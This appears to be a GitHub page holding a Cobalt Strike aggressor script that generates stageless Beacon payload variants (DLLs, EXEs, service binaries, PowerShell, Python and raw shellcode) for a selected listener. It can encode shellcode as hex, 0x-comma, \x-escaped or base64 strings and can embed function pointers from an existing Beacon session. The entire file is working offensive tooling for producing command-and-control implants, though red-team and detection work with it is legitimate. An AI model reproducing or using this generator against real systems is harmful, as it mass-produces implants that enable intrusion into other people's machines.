-
-
Notifications
You must be signed in to change notification settings - Fork 153
/
Payload_Variants_Generator.cna
168 lines (134 loc) · 6.81 KB
/
Payload_Variants_Generator.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#
# This script generates stageless payload variants per each available architecture and output
# format type. Compatible with Cobalt Strike 4.0+
#
# Author: Mariusz Banach / mgeeky, '20
# <mb [at] binary-offensive.com>
#
sub write_payload
{
local('$outpath $filename $data $path $handle');
($outpath, $filename, $data) = @_;
$path = getFileProper($outpath, $filename);
$handle = openf(">$path");
writeb($handle, $data);
closef($handle);
}
sub generate
{
local('%options $outpath');
%options = $3;
prompt_directory_open("Choose folder to store generated payload variants", $null, false, lambda({
$outpath = $1;
write_payload($outpath, %_options["listener"] . "-x86.dll", artifact_payload(%_options["listener"], "dll", "x86"));
write_payload($outpath, %_options["listener"] . "-x64.dll", artifact_payload(%_options["listener"], "dllx64", "x64"));
write_payload($outpath, %_options["listener"] . "-x86.exe", artifact_payload(%_options["listener"], "exe", "x86"));
write_payload($outpath, %_options["listener"] . "-x64.exe", artifact_payload(%_options["listener"], "exe", "x64"));
write_payload($outpath, %_options["listener"] . "-x86.ps1", artifact_payload(%_options["listener"], "powershell", "x86"));
write_payload($outpath, %_options["listener"] . "-x64.ps1", artifact_payload(%_options["listener"], "powershell", "x64"));
write_payload($outpath, %_options["listener"] . "-x86.py", artifact_payload(%_options["listener"], "python", "x86"));
write_payload($outpath, %_options["listener"] . "-x64.py", artifact_payload(%_options["listener"], "python", "x64"));
write_payload($outpath, %_options["listener"] . "-thread-x86.bin", payload(%_options["listener"], "x86", "thread"));
write_payload($outpath, %_options["listener"] . "-thread-x64.bin", payload(%_options["listener"], "x64", "thread"));
write_payload($outpath, %_options["listener"] . "-process-x86.bin", payload(%_options["listener"], "x86", "process"));
write_payload($outpath, %_options["listener"] . "-process-x64.bin", payload(%_options["listener"], "x64", "process"));
write_payload($outpath, %_options["listener"] . "-svc-x86.exe", artifact_payload(%_options["listener"], "svcexe", "x86"));
write_payload($outpath, %_options["listener"] . "-svc-x64.exe", artifact_payload(%_options["listener"], "svcexe", "x64"));
prompt_text("Payload variants generated to:", $outpath, {});
#add_to_clipboard($outpath);
}, %_options => %options));
}
sub format_comma {
$key = $1;
@fmt = str_chunk(transform($key, "hex"), 2);
return "0x". join(",0x", @fmt);
}
sub format_backslash {
$key = $1;
@fmt = str_chunk(transform($key, "hex"), 2);
return "\\x". join("\\x", @fmt);
}
sub format_shellcode
{
$format = $1;
$shellcode = $2;
$formatted = "";
if ($format eq "raw") {
$formatted = $shellcode;
}
else if ($format eq "hex") {
$formatted = transform($shellcode, "hex");
}
else if ($format eq "0x90\,0x90,\0x90") {
$formatted = format_comma($shellcode);
}
else if ($format eq "\\x90\\x90\\x90") {
$formatted = format_backslash($shellcode);
}
else if ($format eq "b64") {
$formatted = base64_encode($shellcode);
}
return $formatted;
}
sub generate_shellcode
{
local('%options $outpath');
%options = $3;
prompt_directory_open("Choose folder to store generated payload variants", $null, false, lambda({
$outpath = $1;
$pay1 = "";
$pay2 = "";
$name = %_options["listener"] . "-";
if(%_options["local"] eq "true") {
if(strlen(%_options["bid"]) == 0) {
show_error("You must select existing Beacon session to generate Local payloads with embedded function pointers!");
return 0;
}
$name .= "-local";
$pay1 = payload_local(%_options["bid"], %_options["listener"], "x86", "thread");
$pay2 = payload_local(%_options["bid"], %_options["listener"], "x64", "thread");
write_payload($outpath, $name . "thread-x86.bin", format_shellcode(%_options["format"], $pay1));
write_payload($outpath, $name . "thread-x64.bin", format_shellcode(%_options["format"], $pay2));
$pay1 = payload_local(%_options["bid"], %_options["listener"], "x86", "process");
$pay2 = payload_local(%_options["bid"], %_options["listener"], "x64", "process");
write_payload($outpath, $name . "process-x86.bin", format_shellcode(%_options["format"], $pay1));
write_payload($outpath, $name . "process-x64.bin", format_shellcode(%_options["format"], $pay2));
}
else {
$pay1 = payload(%_options["listener"], "x86", "thread");
$pay2 = payload(%_options["listener"], "x64", "thread");
write_payload($outpath, $name . "thread-x86.bin", format_shellcode(%_options["format"], $pay1));
write_payload($outpath, $name . "thread-x64.bin", format_shellcode(%_options["format"], $pay2));
$pay1 = payload(%_options["listener"], "x86", "process");
$pay2 = payload(%_options["listener"], "x64", "process");
write_payload($outpath, $name . "process-x86.bin", format_shellcode(%_options["format"], $pay1));
write_payload($outpath, $name . "process-x64.bin", format_shellcode(%_options["format"], $pay2));
}
prompt_text("Payload variants generated to:", $outpath, {});
#add_to_clipboard($outpath);
}, %_options => %options));
}
popup attacks
{
item "Generate payload variants"
{
local('$dialog %defaults');
$dialog = dialog("Generate payload variants", %defaults, &generate);
dialog_description($dialog, "Generates variants for the selected listener's payloads and dumps them to a specified output directory.");
drow_listener_stage($dialog, "listener", "Listener: ");
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
item "Generte raw shellcode variants"
{
local('$dialog %defaults');
$dialog = dialog("Generate raw shellcode variants", %defaults, &generate_shellcode);
dialog_description($dialog, "Generates variants for the selected listener's shellcodes and writes them to a specified output directory.");
drow_listener_stage($dialog, "listener", "Listener: ");
drow_checkbox($dialog, "local", "Embed function pointers from existing Beacon session: ", "Local Payload");
drow_beacon($dialog, "bid", "Existing session to use with Local Payload type: ");
drow_combobox($dialog, "format", "Formatting: ", @("raw","hex","0x90\,0x90,\0x90","\\x90\\x90\\x90","b64"));
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
}